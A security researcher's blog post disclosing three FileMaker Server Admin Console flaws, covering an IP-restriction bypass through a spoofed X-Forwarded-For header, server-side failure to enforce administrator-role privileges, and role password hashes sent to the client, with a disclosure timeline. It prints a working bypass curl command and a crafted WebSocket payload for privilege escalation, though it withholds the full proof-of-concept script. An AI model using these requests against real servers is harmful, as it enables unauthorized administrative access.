Uncovering Access and Role Restriction Vulnerabilities in the FileMaker Server Admin Console
Source: https://davidhamann.de/2024/10/09/fms-bypassing-restrictions/
With a few security features added to the FileMaker Server Admin Console in the last few versions, I decided to play around with them to see how they are implemented.
In this article I want to highlight three of the issues I found last year (2023) and subsequently reported to Claris/Apple.
TL;DR: Until version FileMaker Server version 21.0.1 you can bypass the IP restricions and until version 20.3.1 no administrator role privileges are respected on the server (every role can upgrade itself to all privileges). The latter issue remains only partially fixed.
Access restriction bypass (CVE-2024-40768)
The FileMaker Server Admin Console can be configured to only allow access from certain IP addresses (in addition to the loopback address).
If I remember correctly, this restriction was originally enforced via the configuration of the web server (IIS/Apache/nginx) but was then moved to be part of the Admin Console application itself (handling and configuring).
The issue with the implementation up until 21.0.1 is that the application blindly trusts the X-Forwarded-For
header to determine the IP address.
This can be fine, for example if the web server / reverse proxy is actually configured to overwrite any X-Forwarded-For
header of incoming requests with its own IP address and/or the source IP (chained).
However, in a default FileMaker Server installation, this is not the case, rendering the access restriction useless as anyone can send their own X-Fowarded-For
header which is guaranteed to arrive at and to be parsed by the Admin Console application.
Just setting the header to 127.0.0.1 will always give you access, independent of the access restriction settings that have been configured.
Example without custom header:
$ curl https://your-server.example/admin-console
Your machine (1.2.3.4) does not have access to the FileMaker Server Admin Console. Please contact the server administrator for help.
Example with custom header:
$ curl -H 'X-Forwarded-For: 127.0.0.1' https://your-server.example/admin-console
<html>
...
login page
In case you are wondering if this applies to any specific platform: it does not. Since the application handles the restriction, it works the same on Windows, Linux and macOS (haven’t tested on macOS but I’m almost certain it works).
Administrator Role restriction bypass (CVE-2023-42954) & passwords being sent to client (CVE-2023-42955)
Since FileMaker Server 19.6.1 it is possible to configure so called “Adminstrator Roles” via the Admin Console. The feature is described in the release notes as:
Administrator roles allow you to administer a subset of available databases using a distinct username and password and with a chosen subset of privileges.
If we look at the traffic the Admin Console produces after login, we quickly realize that a lot of the communication happens via WebSockets.
The Admin Console makes use of the Socket.IO library, so when looking at the exchanged messages, we will see a little bit of meta data for each event (such as the type of a packet).
Additionally, since long-polling (POST request for sending, GET request which is held on for some time until there’s something to return) is supported as a fallback (when WebSockets are not available), we might also see some HTTP requests/responses in the same format.
After logging into the Admin Console, the first Socket.IO related request is for the handshake. It looks something like this:
GET /socket.io/?EIO=4&transport=polling&t=1234 HTTP/2
The response includes a session ID (and a hint that we could upgrade to WebSockets for communication):
0{"sid":"Dq4roeq9GwwF5aLEAAAC","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}
Using this session ID, the client can then connect and start sending/receiving messages (via any of the supported transports).
In the case of the Admin Console, the next request contains a JSON Web Token, previously obtained by the login (regular POST to POST /fmi/admin/internal/v1/user/login
), for authentication:
POST /socket.io/?EIO=4&transport=polling&t=1234&sid=Dq4roeq9GwwF5aLEAAAC HTTP/2
40{"token":"some base64 encoded JWT"}
The 40
in the beginning is meta data (“message” packet type identifier, with “CONNECT” action).
The server responds with an ok
and afterwards “regular” event messages are being exchanged (and optionally the transport is changed to WebSockets).
In the case of the Admin Console, several messages are sent right away to acquire all the data for the frontend to display. This is can be anything from available databases, to configuration data, to server usage information.
The part we are interested in for the Adminitrator Roles is the following event sent to the client: EVENT_ADMIN_ROLE_LIST
.
It contains information about all the roles that are configured, and looks something like this:
42["EVENT_ADMIN_ROLE_LIST",[{"privileges":[],"db_pri":false,"sched_pri":false,"sched_backup_pri":false,"sched_verify_pri":false,"sched_script_pri":false,"log_pri":false,"password":"$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0","xauthGroup":"","homeFolder":"filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/restricted/","dbFolderPath":"filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/","dbSubFolderName":"restricted","name":"restricted_access","id":1693575613430,"confirmpassword":"$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0"},{"privileges":["DATABASE_MANAGEMENT"],"db_pri":true,"sched_pri":false,"sched_backup_pri":false,"sched_verify_pri":false,"sched_script_pri":false,"log_pri":false,"password":"$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm","xauthGroup":"","homeFolder":"filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/","dbFolderPath":"filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/","dbSubFolderName":"","name":"another_role","id":1693575900936,"confirmpassword":"$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm"}]]
Cutting off the meta data (this time with 2
for EVENT
) and formatting the message, it looks like this:
[
"EVENT_ADMIN_ROLE_LIST",
[
{
"privileges": [],
"db_pri": false,
"sched_pri": false,
"sched_backup_pri": false,
"sched_verify_pri": false,
"sched_script_pri": false,
"log_pri": false,
"password": "$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0",
"xauthGroup": "",
"homeFolder": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/restricted/",
"dbFolderPath": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/",
"dbSubFolderName": "restricted",
"name": "restricted_access",
"id": 1693575613430,
"confirmpassword": "$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0"
},
{
"privileges": [
"DATABASE_MANAGEMENT"
],
"db_pri": true,
"sched_pri": false,
"sched_backup_pri": false,
"sched_verify_pri": false,
"sched_script_pri": false,
"log_pri": false,
"password": "$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm",
"xauthGroup": "",
"homeFolder": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/",
"dbFolderPath": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/",
"dbSubFolderName": "",
"name": "another_role",
"id": 1693575900936,
"confirmpassword": "$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm"
}
]
]
The first oddity I noticed is that the whole array of all admin roles is sent to the client, regardless of the login session.
This means that we can login as any role and always get all role data (we do have to login, though 🤓).
This may or may not be an issue, but sending the passwords for all roles all the time (even if not in plaintext) is not great.
When I looked at the administrator roles initially, I tested it with FileMaker Server 19.6.1. Here, the passwords were indeed sent in plaintext (for all groups)! So the message looked something like: ["privileges": [],"db_pri": false, <snip>"confirmpassword": "very_secret"}]
. This is not the case in 20.1.2 anymore, though.
Apart from the password information that is still being shipped to the client, it might not be too big of a deal to be able to get information about the existence of other roles.
However, if we get all this info back from the server, is the server actually checking what role and privileges a user has?
Since we understand how messages are exchanged between server and client, we can easily test this out.
If we want to open a database file via the Admin Console, a message like this is sent to the server:
42["EVENT_DB_ACTION_REQUEST",{"type":"open","id":"2","params":{}}]
If we login with a restricted role and try to send this message for a database which we shouldn’t have access to (based on the “Role folder” when configuring the Administrator Roles), the database still opens.
Additionally, our role does not even need to have the “Database Privilege” turned on.
We can do any database operation on any database no matter what our role settings indicate. In fact, any event I tested was successfully processed (also other settings that can be allowed or not allowed – like viewing logs).
So it seems that the server is only checking whether we have an authenticated session, not what privileges the role associated with that session has.
The Admin Console frontend, however, gives the impression that everything is locked down. It knows what privileges a user has – the server sends that information right at the beginning. But the server seems to fully trust that every message sent to it is legit.
Trusting the frontend, that is essentially under control of the user, is the problem here.
If a user with limited privileges wouldn’t want to go through the hassle of crafting their own custom message anytime (as the frontend doesn’t display the actions that you shouldn’t be able to perform), they can just give themselves all privileges and access to all databases via another WebSocket event: EVENT_ADMIN_ROLE_UPDATE
.
Sending a modified admin role configuration using this event is equally accepted by the server.
So we could send something like the following to assign ourselves (as a restricted administrator role) all the privileges and remove the folder restriction:
{
"AdminRolejson": {
"groups": [
{
"privileges": [
"DATABASE_MANAGEMENT",
"SCHEDULE_MANAGEMENT",
"SCHEDULE_BACKUP",
"SCHEDULE_VERIFY",
"SCHEDULE_SCRIPT",
"DIAGNOSTICS_VIEWING"
],
"db_pri": true,
"sched_pri": true,
"sched_backup_pri": true,
"sched_verify_pri": true,
"sched_script_pri": true,
"log_pri": true,
"password": "$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0",
"xauthGroup": "",
"homeFolder": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/",
"dbFolderPath": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/",
"dbSubFolderName": "",
"name": "restricted_access",
"id": 1693575613430
}
]
}
}
We are essentially taking the configuration object initially obtained from EVENT_ADMIN_ROLE_LIST
, adding all privileges, remove the sub-folder restriction and send it to the server.
Our connection is dropped, but next time we login with our previously limited role, we now have all the controls available in the frontend (which sends events that are, of course, successfully processed on the server side as well).
Proof of Concept
Putting both the IP restriction bypass and the Administrator Role privilege escalation into a proof of concept, it could look like this:
When I prepared this post, I originally wanted to publish the proof-of-concept code here to demonstrate the issue. I now decided against this, because one of the issues is still not properly fixed even though the ticket at Apple was marked as “resolved”. I communicated this, but they require a new ticket to be opened, even though in my opinion all information is already available. They also labeled the bug as “Ineligible” for a bounty. I didn’t open a new ticket to explain everything again, but will hold off from publishing the proof-of-concept code for now.
(continued from originally prepared post)
The output will be the following:
2023-09-01 18:01:58 [INFO] Got auth token
2023-09-01 18:02:03 [INFO] WebSocket connected
2023-09-01 18:02:03 [INFO] Identified admin role object
2023-09-01 18:02:03 [INFO] Sending changed admin role object. Re-login to the admin console to see if additional privileges have been added.
2023-09-01 18:02:03 [INFO] Disconnected
In short, the script authenticates with a restricted administrator role, then makes a socket.IO connection and waits for the server to send the EVENT_ADMIN_ROLE_LIST
event.
Once received, it takes the config object of the role that we authenticated with, adds all privileges and removes the folder restriction from the config object, and then emits a EVENT_ADMIN_ROLE_UPDATE
event with the crafted payload.
After running the script, the formerly restricted administrator role now has all privileges and can re-login to the admin console.
Timeline
I reported these issues on 01.09.2023 via the Apple Security program. For CVE-2024-40768 I received a bounty. The other two issues were deemed “Ineligible” for a bounty (in my opinion the privilege escalation is more severe than the rewarded issue, but maybe it falls into a different category – who knows!?).
The ticket for CVE-2024-40768 was closed in October 2024 (fixed in 21.0.1).
The ticket for CVE-2023-42954 was closed in June 2024 (partially fixed in 20.3.1; fix is insufficient)
The ticket for CVE-2023-42955 is still open, but the issue was already fixed in version 20.3.2 (8 months ago).
I decided to publish this post in October 2024 (without any proof-of-concept code for now, due to the reasons explained above).
Claris disclosures
All bugs were publicly disclosed by Claris before this post was published: